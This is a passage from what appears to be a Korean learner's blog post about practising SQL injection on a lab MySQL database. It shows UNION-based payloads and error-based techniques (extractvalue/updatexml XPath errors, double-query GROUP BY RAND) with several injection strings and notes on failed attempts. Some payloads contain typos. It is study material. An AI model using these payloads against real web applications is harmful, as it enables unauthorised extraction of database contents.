&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;했더니 이건 또 &lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;Error: Unknown column 'column_name' in 'field list' &lt;span style=&quot;color: #333333;&quot;&gt;래&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이건 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;1. 테이블에 컬럼이 아예 없을 때 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2. 컬럼 이름을 잘못 적었을 때&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나오는 에러라고 한당&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;일단 나는 유저 정보가 알고싶었던 거니까 이거 넘기고&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;'&amp;nbsp;union&amp;nbsp;select&amp;nbsp;1,&amp;nbsp;user(),&amp;nbsp;3,&amp;nbsp;system_user(),&amp;nbsp;5,&amp;nbsp;6,&amp;nbsp;7&amp;nbsp;from&amp;nbsp;information_schema.tables&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸로 조회를 해봤다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;1007&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cme6Dq/btsO4qO2nIw/7ARC8hwTC8ctApN88c3WWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cme6Dq/btsO4qO2nIw/7ARC8hwTC8ctApN88c3WWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cme6Dq/btsO4qO2nIw/7ARC8hwTC8ctApN88c3WWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcme6Dq%2FbtsO4qO2nIw%2F7ARC8hwTC8ctApN88c3WWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;1007&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;1007&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;그랬더니 user에는 영화제목이 나오고 system_user는 영화감독이름이 나온다&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;내가 생각한 결과는 root@localhost만 한줄 딱 나오는거였는데 왜 다 나오지,,,&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;UNION ALL을 해야 다 나오는거 아닌가ㅠ 흑흑..&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;혹시나 싶어서&amp;nbsp;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&lt;b&gt;' UNION SELECT 1, user(), 3, system_user(), 5, 6, 7 #&lt;/b&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;도 해봤는데 결과는 동일햇당&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 생각해보니까 UNION 의 결과값은 원래 저게 맞는거고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른것들이 왜 한줄만 나왔는지 모르겠은.,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;3. Error Based SQLI&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Error Based SQLI는 주로 데이터베이스에 대한 정보를 획득하기 위해 사용된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL의 잘못된 문법이나 자료형 불일치 등에 의해 나타나는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스 오류 메시지에 의존하여 수행되는 공격 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 웹 애플리케이션에서 데이터베이스 오류를 표시해주는 경우에 주로 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 SQL 쿼리의 잘못된 문법을 사용해 고의적으로 오류를 유발시키고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 오류 정보를 바탕으로 데이터베이스명, 테이블, 컬럼 정보 등의 데이터베이스의 정보와 구조를 알아낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 MySQL 환경에서 활용할 수 있는 기법은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XPath와 Double query 방식이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;XPath&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XPath 방법은 extractvalue() 함수를 활용하는 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;extractvlaue()는&lt;/p&gt;
&lt;pre id=&quot;code_1752294698180&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;extractvalue(xml_frag, xpath_expr)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML과 XPath 표현식이라는 두개의 인수가 필요하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 개의 인수를 통해 XML에서 XPath 표현식에 일치하는 데이터를 추출해서 반환해준다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333;&quot;&gt;&lt;b&gt;&lt;b&gt; &lt;/b&gt;BOOK_XML의 내용&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;STORE&amp;gt; &amp;lt;BOOK&amp;gt; &amp;lt;TITLE&amp;gt;어린 왕자&amp;lt;/TITLE&amp;gt; &amp;lt;AUTHOR&amp;gt;앙투안 드 생택쥐페리&amp;lt;/AUTHOR&amp;gt; &amp;lt;PRICE&amp;gt;9,800&amp;lt;/PRICE&amp;gt; &amp;lt;/BOOK&amp;gt; &amp;lt;/STORE&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333;&quot;&gt;&lt;b&gt;&lt;b&gt;▶ &lt;/b&gt;예시쿼리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333;&quot;&gt;&lt;b&gt;&lt;b&gt;▶&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;예시 쿼리 결과&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;color: #666666; text-align: center; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #333333;&quot;&gt;어린 왕자&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출처: &lt;a href=&quot;https://smile-place.tistory.com/entry/ORACLE-EXTRACTVALUE-함수-EXTRACT-함수&quot;&gt;https://smile-place.tistory.com/entry/ORACLE-EXTRACTVALUE-함수-EXTRACT-함수&lt;/a&gt; [Smile Place:티스토리]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 xpath_expr이라는 두 번째 인수에 유효하지 않은 XPath 표현식이 사용된다면&lt;/p&gt;
&lt;pre class=&quot;subunit&quot; style=&quot;background-color: #f5f5f5; color: #333333; text-align: left;&quot;&gt;&lt;code&gt;ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr 인수의 값'&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라는 오류가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 만약 xpath_expr의 인수로 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행 결과가 오류메세지에 포함된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 점을 이용하여 오류기반의 SQLI 공격을 수행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;concat() 함수를 이용해 콜론(:)을 앞에 추가한다. (콜론의 16진수 표기법은 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;0x3a&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 인수는 임의의 값 지정을 위해 rand() 함수를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로, 후속 쿼리를 무효화하기 위해 가장 끝에 #을 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;'&amp;nbsp;AND&amp;nbsp;extractvlaue(rand(),&amp;nbsp;concat(0x3a,&amp;nbsp;version()))#&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두구두구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;358&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r2Npf/btsPe5S1PDl/va6pSTkjt8px57xVJCRB11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r2Npf/btsPe5S1PDl/va6pSTkjt8px57xVJCRB11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r2Npf/btsPe5S1PDl/va6pSTkjt8px57xVJCRB11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr2Npf%2FbtsPe5S1PDl%2Fva6pSTkjt8px57xVJCRB11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1071&quot; height=&quot;358&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;358&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜죠&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고보니 extractvlaue() 함수는 MySQL 5.1 이상의 버전에서만 유효하다고 한다,,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQBpca/btsPe4mjIA8/Y608SPzbDJuvSmH3ZYuCuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQBpca/btsPe4mjIA8/Y608SPzbDJuvSmH3ZYuCuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQBpca/btsPe4mjIA8/Y608SPzbDJuvSmH3ZYuCuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQBpca%2FbtsPe4mjIA8%2FY608SPzbDJuvSmH3ZYuCuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1046&quot; height=&quot;459&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 5.0이네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 방법을 써보쟈&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;updatexml()함수!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;updatexml(null, 실행할 SQL 쿼리, null) #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t6SXk/btsPfO4diYS/hISseDBLacXzk1HdHPjPKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t6SXk/btsPfO4diYS/hISseDBLacXzk1HdHPjPKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t6SXk/btsPfO4diYS/hISseDBLacXzk1HdHPjPKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft6SXk%2FbtsPfO4diYS%2FhISseDBLacXzk1HdHPjPKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1063&quot; height=&quot;410&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...................................ㅠㅡㅠ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br7M5x/btsPffO2qib/UuEmauSoqwKGV93Su7n45k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br7M5x/btsPffO2qib/UuEmauSoqwKGV93Su7n45k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br7M5x/btsPffO2qib/UuEmauSoqwKGV93Su7n45k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr7M5x%2FbtsPffO2qib%2FUuEmauSoqwKGV93Su7n45k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;368&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Double Query&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;Double Query는 GROUP BY를 통한 그룹 집계의 기준 컬럼에 rand() 함수가 사용된 경우에 발생하는 오류를 활용한 기법이다.&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;그룹별 집계를 위한 기준 컬럼이 중복될 때 발생하는 오류로,&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;이 기준 컬럼이 테이블의 일반적인 컬럼인 경우에는 오류없이 SQL 쿼리가 잘 실행되지만&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;행이 3개 이상 존재하는 테이블에서는 오류를 뱉어낸다&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 개의 쿼리를 하나로 연결하여 오류를 유발하고, 이를 통해 정보를 추출하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 error based가 쿼리의 오류메세지를 통해 직접 정보를 얻는 것이라면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;double query는 첫 번째 쿼리는 정상 실행되고, 두 번째 쿼리에서 오류를 강제로 유발시켜 에러메세지를 분석하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① 1'; SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v18je/btsPg7nPjVo/59UzeU3Vr4xXQm8T7NaZY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v18je/btsPg7nPjVo/59UzeU3Vr4xXQm8T7NaZY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v18je/btsPg7nPjVo/59UzeU3Vr4xXQm8T7NaZY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv18je%2FbtsPg7nPjVo%2F59UzeU3Vr4xXQm8T7NaZY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;424&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2) AS x FROM information_schema.tables GROUP BY x) #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1058&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rOesy/btsPfsHpIaM/YKk1qwzGQmZkdQnvkzE2f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rOesy/btsPfsHpIaM/YKk1qwzGQmZkdQnvkzE2f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rOesy/btsPfsHpIaM/YKk1qwzGQmZkdQnvkzE2f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrOesy%2FbtsPfsHpIaM%2FYKk1qwzGQmZkdQnvkzE2f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1058&quot; height=&quot;404&quot; data-origin-width=&quot;1058&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 1 FROM (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) )#&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYe5b4/btsPg6vGrXG/cWVveEGqECYn42oJn4ZrE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYe5b4/btsPg6vGrXG/cWVveEGqECYn42oJn4ZrE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYe5b4/btsPg6vGrXG/cWVveEGqECYn42oJn4ZrE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYe5b4%2FbtsPg6vGrXG%2FcWVveEGqECYn42oJn4ZrE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;344&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;④ ' AND (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) #&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1065&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWvZV7/btsPg5Q5bar/87Yd4cJklvr2zWjd4MUZk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWvZV7/btsPg5Q5bar/87Yd4cJklvr2zWjd4MUZk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWvZV7/btsPg5Q5bar/87Yd4cJklvr2zWjd4MUZk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWvZV7%2FbtsPg5Q5bar%2F87Yd4cJklvr2zWjd4MUZk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1065&quot; height=&quot;333&quot; data-origin-width=&quot;1065&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 네개 다 해봤는데,,,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 맨 마지막 ④는 서브쿼리에 별칭을 지정해주라길래&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;'&amp;nbsp;AND&amp;nbsp;(SELECT&amp;nbsp;1&amp;nbsp;FROM&amp;nbsp;(&amp;nbsp;SELECT&amp;nbsp;concat(database(),&amp;nbsp;FLOOR(RAND(0)*2))&amp;nbsp;AS&amp;nbsp;x,&amp;nbsp;COUNT(*)&amp;nbsp;FROM&amp;nbsp;information_schema.tables&amp;nbsp;GROUP&amp;nbsp;BY&amp;nbsp;x)a&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게도 해봤는데&lt;/p&gt;
